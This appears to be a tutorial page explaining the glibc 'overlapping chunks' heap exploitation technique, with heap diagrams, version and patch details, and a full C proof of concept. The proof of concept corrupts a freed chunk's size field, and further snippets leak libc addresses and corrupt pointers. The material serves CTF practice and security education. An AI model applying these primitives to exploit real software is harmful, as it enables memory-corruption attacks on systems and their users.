Skip to main content

Overview

Overlapping chunks is a heap exploitation technique where an attacker corrupts the size field of a freed chunk to cause malloc to allocate a region that overlaps with existing allocated chunks. This allows reading and writing data through two different pointers to the same memory region.
This technique is taken from the Glibc Adventures: The Forgotten Chunks paper by Context Information Security.

Glibc Version Compatibility

Working Versions

glibc 2.23 - 2.28

Patched

glibc 2.29+ (April 2019)
Patch Information: glibc commit b90ddd08 The patch added size consistency checks when allocating from the unsorted bin.

What Does This Technique Achieve?

Overlapping chunks allows you to:
  • Create memory aliasing - two pointers to the same memory
  • Read sensitive data - access chunk metadata through overlapping region
  • Corrupt other chunks - modify fd/bk pointers of adjacent chunks
  • Bypass protections - confuse heap integrity checks
In glibc 2.27+, you need to avoid tcache by allocating chunks larger than 0x410 bytes, or by filling the tcache bins first.

The Vulnerability

This attack requires:
  1. Heap overflow - ability to overwrite the size field of a freed chunk
  2. Freed chunk in unsorted bin - target chunk must be in unsorted bin
  3. Subsequent allocation - with size matching the corrupted size

Technical Details

Size Field Manipulation

When a chunk is freed and placed in the unsorted bin, its size field determines how much memory will be allocated when that chunk is reused. By increasing this size, we can make malloc return more memory than was originally freed.
// Original chunk size: 0x100
// Corrupted chunk size: 0x180
// Result: allocation overlaps with next chunk

Heap Layout Before Attack

+-------------------+
|     Chunk p1      |  Size: 0x100
|  (allocated)      |
+-------------------+
|     Chunk p2      |  Size: 0x100
|  (freed)          |  ← We will corrupt this size
+-------------------+
|     Chunk p3      |  Size: 0x80
|  (allocated)      |
+-------------------+

Heap Layout After Attack

+-------------------+
|     Chunk p1      |  Size: 0x100
|  (allocated)      |
+-------------------+
|     Chunk p4      |  Size: 0x180 (corrupted!)
|                   |  ↓
|                   |  |
|  +--------------+ |  |  
|  |  Chunk p3    | |  |  ← p3 is INSIDE p4!
|  | (allocated)  | |  |
|  +--------------+ |  |
+-------------------+  ↓
Now p4 and p3 point to overlapping memory regions!

Step-by-Step Exploitation

1

Allocate Three Chunks

Create three chunks on the heap:
intptr_t *p1 = malloc(0x100 - 8);
intptr_t *p2 = malloc(0x100 - 8);
intptr_t *p3 = malloc(0x80 - 8);

// Fill with data to visualize later
memset(p1, '1', 0x100 - 8);
memset(p2, '2', 0x100 - 8);
memset(p3, '3', 0x80 - 8);
We subtract 8 (or 16 on some systems) to account for chunk metadata overhead.
2

Free Middle Chunk

Free p2 to place it in the unsorted bin:
free(p2);
// p2 is now in unsorted bin, ready to be reused
3

Corrupt Size Field

Exploit an overflow to modify p2’s size field:
// Overflow from p1 to overwrite p2's size
int evil_chunk_size = 0x181;
*(p2 - 1) = evil_chunk_size;
Why 0x181 instead of 0x180?The size field’s lower 3 bits are flags:
  • Bit 0: PREV_INUSE (1 = previous chunk is in use)
  • Bit 1: IS_MMAPPED (0 = not mmapped)
  • Bit 2: NON_MAIN_ARENA (0 = main arena)
Setting PREV_INUSE (0x181) maintains heap stability by indicating p1 is still allocated.
4

Allocate Overlapping Chunk

Request allocation matching the corrupted size:
int evil_region_size = 0x180 - 8;
intptr_t *p4 = malloc(evil_region_size);

// p4 now overlaps with p3!
Malloc will:
  1. Find p2 in unsorted bin
  2. See size is 0x180 (close enough to request)
  3. Return the chunk
  4. p4 now extends over where p3 is located
5

Exploit the Overlap

Now you can manipulate memory through both pointers:
printf("p3 = %s\n", (char *)p3);  // "333333..."

// Overwrite through p4
memset(p4, '4', evil_region_size);
printf("p3 = %s\n", (char *)p3);  // "444444..." (corrupted!)

// Overwrite through p3
memset(p3, '3', 80);
printf("p4 = %s\n", (char *)p4);  // Contains "333..." in middle

Full Source Code

/*
 A simple tale of overlapping chunk.
 This technique is taken from
 http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

int main(int argc , char* argv[]){

	intptr_t *p1,*p2,*p3,*p4;

	fprintf(stderr, "\nThis is a simple chunks overlapping problem\n\n");
	fprintf(stderr, "Let's start to allocate 3 chunks on the heap\n");

	p1 = malloc(0x100 - 8);
	p2 = malloc(0x100 - 8);
	p3 = malloc(0x80 - 8);

	fprintf(stderr, "The 3 chunks have been allocated here:\np1=%p\np2=%p\np3=%p\n", p1, p2, p3);

	memset(p1, '1', 0x100 - 8);
	memset(p2, '2', 0x100 - 8);
	memset(p3, '3', 0x80 - 8);

	fprintf(stderr, "\nNow let's free the chunk p2\n");
	free(p2);
	fprintf(stderr, "The chunk p2 is now in the unsorted bin ready to serve possible\nnew malloc() of its size\n");

	fprintf(stderr, "Now let's simulate an overflow that can overwrite the size of the\nchunk freed p2.\n");
	fprintf(stderr, "For a toy program, the value of the last 3 bits is unimportant;"
		" however, it is best to maintain the stability of the heap.\n");
	fprintf(stderr, "To achieve this stability we will mark the least signifigant bit as 1 (prev_inuse),"
		" to assure that p1 is not mistaken for a free chunk.\n");

	int evil_chunk_size = 0x181;
	int evil_region_size = 0x180 - 8;
	fprintf(stderr, "We are going to set the size of chunk p2 to to %d, which gives us\na region size of %d\n",
		 evil_chunk_size, evil_region_size);

	*(p2-1) = evil_chunk_size; // we are overwriting the "size" field of chunk p2

	fprintf(stderr, "\nNow let's allocate another chunk with a size equal to the data\n"
	       "size of the chunk p2 injected size\n");
	fprintf(stderr, "This malloc will be served from the previously freed chunk that\n"
	       "is parked in the unsorted bin which size has been modified by us\n");
	p4 = malloc(evil_region_size);

	fprintf(stderr, "\np4 has been allocated at %p and ends at %p\n", (char *)p4, (char *)p4+evil_region_size);
	fprintf(stderr, "p3 starts at %p and ends at %p\n", (char *)p3, (char *)p3+0x80-8);
	fprintf(stderr, "p4 should overlap with p3, in this case p4 includes all p3.\n");

	fprintf(stderr, "\nNow everything copied inside chunk p4 can overwrites data on\nchunk p3,"
		" and data written to chunk p3 can overwrite data\nstored in the p4 chunk.\n\n");

	fprintf(stderr, "Let's run through an example. Right now, we have:\n");
	fprintf(stderr, "p4 = %s\n", (char *)p4);
	fprintf(stderr, "p3 = %s\n", (char *)p3);

	fprintf(stderr, "\nIf we memset(p4, '4', %d), we have:\n", evil_region_size);
	memset(p4, '4', evil_region_size);
	fprintf(stderr, "p4 = %s\n", (char *)p4);
	fprintf(stderr, "p3 = %s\n", (char *)p3);

	fprintf(stderr, "\nAnd if we then memset(p3, '3', 80), we have:\n");
	memset(p3, '3', 80);
	fprintf(stderr, "p4 = %s\n", (char *)p4);
	fprintf(stderr, "p3 = %s\n", (char *)p3);
}

Exploitation Scenarios

1. Corrupting Chunk Metadata

The most powerful use case:
// p4 overlaps with p3
// p3 has a "next" pointer at offset 0
long *next_ptr = (long *)p3;

// Use p4 to corrupt p3's pointer
((long *)p4)[overlap_offset] = (long)target_address;

// Now dereferencing p3->next accesses target_address

2. Information Disclosure

// p4 overlaps freed chunk in unsorted bin
// Read fd/bk pointers to leak libc addresses
printf("Leaked libc: %p\n", ((long *)p4)[fd_offset]);

3. Type Confusion

// Allocate struct A at p3
struct A *a = (struct A *)p3;
a->type = TYPE_A;

// Overlap with struct B at p4  
struct B *b = (struct B *)p4;
b->type = TYPE_B;  // Corrupts A's type field

// Now type checks can be bypassed

Bypassing Tcache (glibc 2.27+)

In glibc 2.27 and later, tcache intercepts small allocations. To use overlapping chunks:

Method 1: Use Large Chunks

// Allocate chunks larger than tcache range (> 0x410)
int malloc_size = 0x420;
chunk0 = malloc(malloc_size);
chunk1 = malloc(malloc_size);
chunk2 = malloc(malloc_size);

Method 2: Fill Tcache First

// Fill tcache bins (7 chunks per bin)
for (int i = 0; i < 7; i++) {
    free(tcache_chunks[i]);
}
// Now next free goes to unsorted bin
free(target_chunk);

The Patch (glibc 2.29)

The patch added size validation:
if (__glibc_unlikely (size <= 2 * SIZE_SZ)
    || __glibc_unlikely (size > av->system_mem))
  malloc_printerr ("malloc(): invalid size (unsorted)");

if (__glibc_unlikely ((prev_size(next_chunk(victim)) & ~(SIZE_BITS)) != size))
  malloc_printerr ("malloc(): mismatching next->prev_size (unsorted)");
This checks that:
  1. Size is reasonable
  2. Next chunk’s prev_size matches current chunk’s size

hack.lu CTF 2015

bookstore - Classic overlapping chunks

Nuit du Hack 2016

night-deamonic-heap - Advanced overlap usage

Practice

Try it in your browser

Debug this technique interactively on Ret2 Wargames

Variants

  • [Poison Null Byte/techniques/advanced/poison-null-byte) - Another way to create overlapping chunks
  • [House of Einherjar/techniques/house/house-of-einherjar) - Uses similar size corruption concepts

References

Build docs developers (and LLMs) love